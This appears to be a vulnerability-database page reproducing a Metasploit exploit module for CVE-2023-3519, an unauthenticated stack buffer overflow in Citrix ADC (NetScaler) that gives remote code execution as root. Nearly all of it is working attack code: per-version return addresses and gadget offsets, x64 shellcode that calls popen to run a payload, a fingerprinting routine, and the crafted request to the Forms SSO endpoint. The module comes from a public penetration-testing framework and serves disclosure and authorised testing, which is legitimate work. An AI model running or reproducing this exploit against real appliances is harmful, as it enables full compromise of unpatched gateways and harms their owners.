Lucene search
K

Citrix ADC (NetScaler) Forms SSO Target RCE

🗓️ 03 Aug 2023 19:50:21Reported by Ron Bowes, Douglass McKee, Spencer McIntyre, rwinceyType 
metasploit
 metasploit
🔗 www.rapid7.com👁 362 Views

Citrix ADC (NetScaler) RCE via HTTP GET request triggering stack buffer overflow in nsppe process, leading to remote code execution (RCE) as root. Version-specific targets included

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
        'Description' => %q{
          A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
          overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
          remote code execution as root.
        },
        'Author' => [
          'Ron Bowes', # Analysis and module
          'Douglass McKee', # Analysis and module
          'Spencer McIntyre', # Just the module
          'rwincey' # Version detection
        ],
        'References' => [
          ['CVE', '2023-3519'],
          ['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
          ['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
        ],
        'DisclosureDate' => '2023-07-18',
        'License' => MSF_LICENSE,
        'Platform' => ['unix'],
        'Arch' => [ARCH_CMD],
        'Payload' => {
          # at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
          'Space' => 2048,
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Automatic Targeting', {} ],
          # In some versions the epilogue reads directly from rbp and since the exploit clobbers it, the value needs to
          # be restored. In these cases return_rbp_adjustment is defined in the target. If the epilogue pops the values
          # from the stack, then RBP doesn't need to be restored and return_rbp_adjustment can be left undefined.
          [
            'Citrix ADC 13.1-48.47',
            {
              'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x13a8,
              'popen' => 0x01da6340,
              'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
              'return_offset' => 168,
              'timestamp' => 1685774350
            },
          ],
          [
            'Citrix ADC 13.1-37.38',
            {
              'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x13a8,
              'popen' => 0x01d7e320,
              'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
              'return_offset' => 168,
              'timestamp' => 1669199916
            },
          ],
          [
            'Citrix ADC 13.0-91.12',
            {
              'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x12e0,
              'fixup_rbp_adjustment' => 0x190,
              'popen' => 0x01f42ec0,
              'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
              'return_offset' => 168,
              'timestamp' => 1683865450
            }
          ],
          [
            'Citrix ADC 12.1-65.25',
            {
              'fixup_return' => 0x009babca, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
              'fixup_rsp_adjustment' => 0x1560,
              'fixup_rbp_adjustment' => 0x120,
              'popen' => 0x01b31e20,
              'return' => 0x007d0845, # jmp rsp; ns_audit_cmd2strrer
              'return_offset' => 168,
              'timestamp' => 1669466053
            }
          ],
          [
            'Citrix ADC 12.1-64.17',
            {
              'fixup_return' => 0x009b98aa, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
              'fixup_rsp_adjustment' => 0x1560,
              'fixup_rbp_adjustment' => 0x120,
              'popen' => 0x01b2e960,
              'return' => 0x01333f18, # jmp rsp; nssmpp_process_message_queue
              'return_offset' => 168,
              'timestamp' => 1650533675
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    # version 13.x resource path
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
    })
    return CheckCode::Unknown('No response received from 13.x resource path') if res.nil?

    if res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/
      mytarget = get_target
      return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget

      return CheckCode::Detected('Citrix Gateway 13.x detected but could not determine specific target')
    end

    # version 12.x resource path
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'vpn', 'index.html')
    })
    return CheckCode::Unknown('No response received from 12.x resource path') if res.nil?

    if res.code == 200 && res.body =~ /Citrix Gateway/ && res.body =~ /AccessGateway\.ico/
      mytarget = get_target
      return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget

      return CheckCode::Detected('Citrix Gateway 12.x detected but could not determine specific target')
    end

    CheckCode::Safe('Citrix Gateway not detected')
  end

  def get_target
    return @detected_target if @detection_ran

    @detection_ran = true
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'fonts', 'citrix-fonts.css')
    })

    return nil unless res&.headers&.[]('Last-Modified').present?

    timestamp = DateTime.parse(res.headers['Last-Modified']).to_i
    @detected_target = targets.select { |t| t.opts['timestamp'] == timestamp }.first
  end

  def exploit
    mytarget = target
    if mytarget.name == 'Automatic Targeting'
      mytarget = get_target
      fail_with(Failure::NoTarget, 'The target did not match a known fingerprint for automatic targeting.') if mytarget.nil?
    end

    shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: mytarget)).encode_string
      call loc_popen_arg1
        ; add this to the path for python payloads
        db "export PATH=/var/python/bin:$PATH;"
        db "#{Rex::Text.to_hex(payload.encoded)}", 0
      loc_popen_arg1:
        pop  rdi

      call loc_popen_arg2
        db "r", 0
      loc_popen_arg2:
        pop rsi

        mov  rax, <%= target['popen'] %>
        sub  rsp, 0x200
        call rax

      loc_return:
        xor rax, rax
        add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
        <% if target['fixup_rbp_adjustment'] %>
        mov rbp, rsp
        add rbp, <%= target['fixup_rbp_adjustment'] %>
        <% end %>
        push     <%= target['fixup_return'] %>
        ret
    SHELLCODE

    buffer = rand_text_alphanumeric(mytarget['return_offset'])
    buffer << [mytarget['return']].pack('Q')
    buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join

    send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
      'encode_params' => false, # we'll encode them ourselves
      'vars_get' => {
        'event' => 'start',
        'target' => buffer
      }
    })
  end

  class Template
    def self.render(template, context = nil)
      case context
      when Hash
        b = binding
        locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
        b.eval(locals.join)
      when NilClass
        b = binding
      else
        raise ArgumentError
      end

      b.eval(Erubi::Engine.new(template).src)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jun 2026 19:01Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.99343
SSVC
362